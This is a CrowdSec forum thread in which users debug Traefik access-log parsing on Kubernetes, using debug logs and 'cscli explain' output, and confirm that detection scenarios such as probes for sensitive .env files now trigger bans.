time="19-12-2021 12:43:08" level=debug msg="+ Method GeoIpCity('194.34.132.19') returned 4 entries to merge in .Enriched\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="\t.Enriched[Latitude] = '0.000000'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="\t.Enriched[Longitude] = '0.000000'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="\t.Enriched[IsoCode] = ''\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="\t.Enriched[IsInEU] = 'false'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Empty value for .Meta[IsoCode], skip." id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg=".Meta[IsInEU] = 'false'" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Empty value for .Meta[GeoCoords], skip." id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="+ Method GeoIpASN('194.34.132.19') returned 3 entries to merge in .Enriched\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="\t.Enriched[ASNNumber] = '0'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="\t.Enriched[ASNumber] = '0'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="\t.Enriched[ASNOrg] = ''\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg=".Meta[ASNNumber] = '0'" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Empty value for .Meta[ASNOrg], skip." id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Unable to find range of 194.34.132.19"
time="19-12-2021 12:43:08" level=debug msg="+ Method IpToRange('194.34.132.19') returned 0 entries to merge in .Enriched\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="+ Method 'IpToRange' empty response on '194.34.132.19'" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Empty value for .Meta[SourceRange], skip." id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ok" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="+ Processing 2 statics" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg=".Parsed[impact_completion] = 'true'" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="setting target Parsed.static_ressource to false"
time="19-12-2021 12:43:08" level=debug msg="map entry is zero in 'Parsed.static_ressource'"
time="19-12-2021 12:43:08" level=debug msg="evt.Parsed.static_ressource = 'false'" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ok" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="+ Grok '^%{GR...' didn't return data on '/'" id=divine-snowflake name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko" id=divine-snowflake name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="+ Grok '%{DIR...' didn't return data on '/'" id=green-cloud name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko" id=green-cloud name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko" id=proud-hill name=crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ok" id=throbbing-dream name=crowdsecurity/whitelists stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko (failed filter)" id=shy-firefly name=crowdsecurity/docker-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=aged-mountain file=/etc/crowdsec/scenarios/ssh-bf.yaml name=crowdsecurity/ssh-bf
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=dark-waterfall file=/etc/crowdsec/scenarios/ssh-bf.yaml name=crowdsecurity/ssh-bf_user-enum
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=wandering-dew file=/etc/crowdsec/scenarios/http-w00tw00t.yaml name=ltsich/http-w00tw00t
time="19-12-2021 12:43:08" level=debug msg="+ Grok 'SYSLOGLINE' returned 8 entries to merge in Parsed" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['pid'] = '1'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=sparkling-snowflake file=/etc/crowdsec/scenarios/http-sqli-probing.yaml name=crowdsecurity/http-sqli-probbing-detection
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['timestamp'] = 'Dec 19 11:43:07'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['timestamp8601'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['message'] = '\ufeff194.34.132.19 - - [19/Dec/2021:11:43:07 +0000] \"GET / HTTP/1.1\" 200 4646 \"-\" \"-\" 138054 \"frigg-public-routes-22735e324d6d7eb80733@kubernetescrd\" \"http://10.42.1.239:80\" 508ms'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['facility'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['priority'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['logsource'] = 'windell'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw

BTW, with traefik, I’ve put some rate-limiter: 30 concurrent requests and max 100 request per minute, past that, request will have a http 429. Will that affect the http scenarios? Though, I disabled that during the wapiti tests.

he2ss · December 22, 2021, 11:28am

Hi @fbonalair,

Following your logs, the HTTP status seems to be on the logs now and the traefik-logs and http-logs parsers seems to parse correctly your 2 messages logs you pasted above.

Here is the log entering the traefik parser :

time="19-12-2021 12:43:07" level=debug msg="+ Grok '%{NGI...' returned 15 entries to merge in Parsed" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['traefik_server_url'] = 'http://10.42.1.239:80'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['remote_addr'] = '194.34.132.19'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['request'] = '/'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['time_local'] = '19/Dec/2021:11:43:06 +0000'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['http_user_agent'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['port'] = '80'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['remote_user'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['http_referer'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['traefik_router_name'] = 'frigg-public-routes-22735e324d6d7eb80733@kubernetescrd'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['method'] = 'GET'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['status'] = '200'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['request_duration_in_ms'] = '448'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['body_bytes_sent'] = '4646'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['number_of_requests_received_since_traefik_started'] = '138052'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['http_version'] = '1.1'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="move Event from stage s01-parse to s02-enrich" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="child is success, OnSuccess=next_stage, skip" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="+ Processing 7 statics" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[service] = 'http'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[http_status] = '200'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[http_path] = '/'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[user] = '-'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[source_ip] = '194.34.132.19'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[log_type] = 'http_access-log'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="setting target StrTime to 19/Dec/2021:11:43:06 +0000"
time="19-12-2021 12:43:07" level=debug msg="evt.StrTime = '19/Dec/2021:11:43:06 +0000'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="node reached the last stage : s02-enrich" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse

And after that the http-logs parser

time="19-12-2021 12:43:07" level=debug msg="+ Processing 2 statics" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg=".Parsed[impact_completion] = 'true'" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="setting target Parsed.static_ressource to false"

I even tested on of your logs with cscli explain:

 $ sudo cscli explain --file /tmp/test.txt --type traefik
line: 194.34.132.19 - - [19/Dec/2021:11:43:07 +0000] "GET / HTTP/1.1" 200 4646 "-" "-" 138054 "frigg-public-routes-22735e324d6d7eb80733@kubernetescrd" "http://10.42.1.239:80" 508ms
        ├ s00-raw
        |       ├ 🔴 crowdsecurity/docker-logs
        |       ├ 🟢 crowdsecurity/non-syslog (first_parser)
        |       └ 🔴 crowdsecurity/syslog-logs
        ├ s01-parse
        |       ├ 🔴 crowdsecurity/nginx-logs
        |       ├ 🔴 crowdsecurity/sshd-logs
        |       └ 🟢 crowdsecurity/traefik-logs (+21 ~2)
        ├ s02-enrich
        |       ├ 🟢 crowdsecurity/dateparse-enrich (+1 ~1)
        |       ├ 🟢 crowdsecurity/geoip-enrich (+9)
        |       ├ 🔴 crowdsecurity/http-logs
        |       └ 🟢 crowdsecurity/whitelists (+2)
        ├-------- parser success 🟢
        ├ Scenarios
                └ 🟢 crowdsecurity/http-crawl-non_statics

Maybe if you try to run cscli explain and see what’s happen (how many logs are parsed, by which parsers etc …)

fbonalair · January 3, 2022, 4:38pm

Before anything, happy New Year!

I tried the test line and I do get a match:

line: line: 194.34.132.19 - - [19/Dec/2021:11:43:07 +0000] "GET / HTTP/1.1" 200 4646 "-" "-" 138054 "frigg-public-routes-22735e324d6d7eb80733@kubernetescrd" "http://10.42.1.239:80" 508ms
	├ s00-raw
	|	├ 🔴 crowdsecurity/docker-logs
	|	├ 🟢 crowdsecurity/non-syslog (first_parser)
	|	└ 🔴 crowdsecurity/syslog-logs
	├ s01-parse
	|	├ 🔴 crowdsecurity/sshd-logs
	|	└ 🟢 crowdsecurity/traefik-logs (+21 ~2)
	├ s02-enrich
	|	├ 🟢 crowdsecurity/dateparse-enrich (+1 ~1)
	|	├ 🟢 crowdsecurity/geoip-enrich (+9)
	|	├ 🔴 crowdsecurity/http-logs
	|	└ 🟢 crowdsecurity/whitelists (+2)
	├-------- parser success 🟢
	├ Scenarios
		└ 🟢 crowdsecurity/http-crawl-non_statics

Also, I’ve tried logs where a random tried to get some .env files and get some match:

kubectl -n kube-system exec -it crowdsec-agent-f4cc5db9c-2qzbg -- cscli explain --file /tmp/traefik-log-env.txt --type traefik
line: 109.237.103.123 - - [03/Jan/2022:11:00:52 +0000] "GET /.env HTTP/1.1" 301 17 "-" "-" 405098 "web-to-443@internal" "-" 0ms
	├ s00-raw
	|	├ 🔴 crowdsecurity/docker-logs
	|	├ 🟢 crowdsecurity/non-syslog (first_parser)
	|	└ 🔴 crowdsecurity/syslog-logs
	├ s01-parse
	|	├ 🔴 crowdsecurity/sshd-logs
	|	└ 🟢 crowdsecurity/traefik-logs (+21 ~2)
	├ s02-enrich
	|	├ 🟢 crowdsecurity/dateparse-enrich (+1 ~1)
	|	├ 🟢 crowdsecurity/geoip-enrich (+13)
	|	├ 🟢 crowdsecurity/http-logs (+7)
	|	└ 🟢 crowdsecurity/whitelists (unchanged)
	├-------- parser success 🟢
	├ Scenarios
		├ 🟢 crowdsecurity/http-crawl-non_statics
		└ 🟢 crowdsecurity/http-sensitive-files

line: 109.237.103.123 - - [03/Jan/2022:11:00:52 +0000] "POST /.env HTTP/1.1" 308 18 "-" "-" 405099 "web-to-443@internal" "-" 0ms
	├ s00-raw
	|	├ 🔴 crowdsecurity/docker-logs
	|	├ 🟢 crowdsecurity/non-syslog (first_parser)
	|	└ 🔴 crowdsecurity/syslog-logs
	├ s01-parse
	|	├ 🔴 crowdsecurity/sshd-logs
	|	└ 🟢 crowdsecurity/traefik-logs (+21 ~2)
	├ s02-enrich
	|	├ 🟢 crowdsecurity/dateparse-enrich (+1 ~1)
	|	├ 🟢 crowdsecurity/geoip-enrich (+13)
	|	├ 🟢 crowdsecurity/http-logs (+7)
	|	└ 🟢 crowdsecurity/whitelists (unchanged)
	├-------- parser success 🟢
	├ Scenarios
		├ 🟢 crowdsecurity/http-crawl-non_statics
		└ 🟢 crowdsecurity/http-sensitive-files

line: 109.237.103.123 - - [03/Jan/2022:11:00:52 +0000] "GET /.env HTTP/1.1" 404 19 "-" "-" 405100 "-" "-" 0ms
	├ s00-raw
	|	├ 🔴 crowdsecurity/docker-logs
	|	├ 🟢 crowdsecurity/non-syslog (first_parser)
	|	└ 🔴 crowdsecurity/syslog-logs
	├ s01-parse
	|	├ 🔴 crowdsecurity/sshd-logs
	|	└ 🟢 crowdsecurity/traefik-logs (+21 ~2)
	├ s02-enrich
	|	├ 🟢 crowdsecurity/dateparse-enrich (+1 ~1)
	|	├ 🟢 crowdsecurity/geoip-enrich (+13)
	|	├ 🟢 crowdsecurity/http-logs (+7)
	|	└ 🟢 crowdsecurity/whitelists (unchanged)
	├-------- parser success 🟢
	├ Scenarios
		├ 🟢 crowdsecurity/http-crawl-non_statics
		├ 🟢 crowdsecurity/http-probing
		└ 🟢 crowdsecurity/http-sensitive-files

line: 109.237.103.123 - - [03/Jan/2022:11:00:52 +0000] "GET /.env HTTP/1.1" 301 17 "-" "-" 405101 "web-to-443@internal" "-" 0ms
	├ s00-raw
	|	├ 🔴 crowdsecurity/docker-logs
	|	├ 🟢 crowdsecurity/non-syslog (first_parser)
	|	└ 🔴 crowdsecurity/syslog-logs
	├ s01-parse
	|	├ 🔴 crowdsecurity/sshd-logs
	|	└ 🟢 crowdsecurity/traefik-logs (+21 ~2)
	├ s02-enrich
	|	├ 🟢 crowdsecurity/dateparse-enrich (+1 ~1)
	|	├ 🟢 crowdsecurity/geoip-enrich (+13)
	|	├ 🟢 crowdsecurity/http-logs (+7)
	|	└ 🟢 crowdsecurity/whitelists (unchanged)
	├-------- parser success 🟢
	├ Scenarios
		├ 🟢 crowdsecurity/http-crawl-non_statics
		└ 🟢 crowdsecurity/http-sensitive-files

line: 109.237.103.123 - - [03/Jan/2022:11:00:53 +0000] "POST /.env HTTP/1.1" 308 18 "-" "-" 405102 "web-to-443@internal" "-" 0ms
	├ s00-raw
	|	├ 🔴 crowdsecurity/docker-logs
	|	├ 🟢 crowdsecurity/non-syslog (first_parser)
	|	└ 🔴 crowdsecurity/syslog-logs
	├ s01-parse
	|	├ 🔴 crowdsecurity/sshd-logs
	|	└ 🟢 crowdsecurity/traefik-logs (+21 ~2)
	├ s02-enrich
	|	├ 🟢 crowdsecurity/dateparse-enrich (+1 ~1)
	|	├ 🟢 crowdsecurity/geoip-enrich (+13)
	|	├ 🟢 crowdsecurity/http-logs (+7)
	|	└ 🟢 crowdsecurity/whitelists (unchanged)
	├-------- parser success 🟢
	├ Scenarios
		├ 🟢 crowdsecurity/http-crawl-non_statics
		└ 🟢 crowdsecurity/http-sensitive-files

So yeah, I guess it’s working now. Like you said, some data where missing earlier.

I’ve tried again wapiti with all modules and managed to get banned this time. So thank you the software !

he2ss · January 6, 2022, 9:30am

Happy New Year @fbonalair

And glad to see that’s working now

SpaceComet · March 13, 2022, 6:14pm

Hi guys! Thank you for the great code! @fbonalair I installed your traefik-bouncer on my k3s cluster. Right now I think I have the same problem you used to have in this post. I have everything working but when using wapiti, nikto, or even hulk to execute an ddos attack to my cluster I don’t get ban. What data where you missing?

This are two packages from the explain command

line: 2022-03-13T18:10:39.217609742Z stdout F 192.168.8.108 - - [13/Mar/2022:18:10:39 +0000] "GET /demo?1647195043805&_=1647192477929 HTTP/1.1" 200 74 "-" "-" 7 "local-hello-default-hellotest-lan@kubernetes" "http://10.42.1.16:8080" 18ms
        ├ s00-raw
        |       ├ 🔴 crowdsecurity/cri-logs
        |       ├ 🔴 crowdsecurity/docker-logs
        |       ├ 🟢 crowdsecurity/non-syslog (first_parser)
        |       └ 🔴 crowdsecurity/syslog-logs
        ├ s01-parse
        |       ├ 🔴 crowdsecurity/sshd-logs
        |       └ 🟢 crowdsecurity/traefik-logs (+22 ~2)
        ├ s02-enrich
        |       ├ 🟢 crowdsecurity/dateparse-enrich (+2 ~1)
        |       ├ 🟢 crowdsecurity/geoip-enrich (+9)
        |       ├ 🟢 crowdsecurity/http-logs (+8 ~1)
        |       └ 🟢 crowdsecurity/whitelists (~2 [whitelisted])
        └-------- parser failure 🔴

line: 2022-03-13T18:10:40.217166169Z stdout F 192.168.8.108 - - [13/Mar/2022:18:10:40 +0000] "GET /demo?1647195044818&_=1647192477930 HTTP/1.1" 200 74 "-" "-" 8 "local-hello-default-hellotest-lan@kubernetes" "http://10.42.2.14:8080" 8ms
        ├ s00-raw
        |       ├ 🔴 crowdsecurity/cri-logs
        |       ├ 🔴 crowdsecurity/docker-logs
        |       ├ 🟢 crowdsecurity/non-syslog (first_parser)
        |       └ 🔴 crowdsecurity/syslog-logs
        ├ s01-parse
        |       ├ 🔴 crowdsecurity/sshd-logs
        |       └ 🟢 crowdsecurity/traefik-logs (+22 ~2)
        ├ s02-enrich
        |       ├ 🟢 crowdsecurity/dateparse-enrich (+2 ~1)
        |       ├ 🟢 crowdsecurity/geoip-enrich (+9)
        |       ├ 🟢 crowdsecurity/http-logs (+8 ~1)
        |       └ 🟢 crowdsecurity/whitelists (~2 [whitelisted])
        └-------- parser failure 🔴

SpaceComet · March 13, 2022, 9:04pm

Never mind guys. Everything is working. My problem was that because I don’t have a vpn I was not getting ban because I was whitelisted. Thanks!

Topic		Replies	Views
Syslog is not getting parsed	3	989	February 20, 2023
Have CrowdSec container read journald messages from host crowdsec	4	1014	July 1, 2023
ModSecurity with Nginx: not parsed but in k8s env? crowdsec	1	113	March 7, 2024
Keycloak collection is not banning crowdsec	1	259	December 20, 2023
Solution for parsing logs of docker containers crowdsec	5	3187	July 30, 2022

Crowdsec and Traefik

Related Topics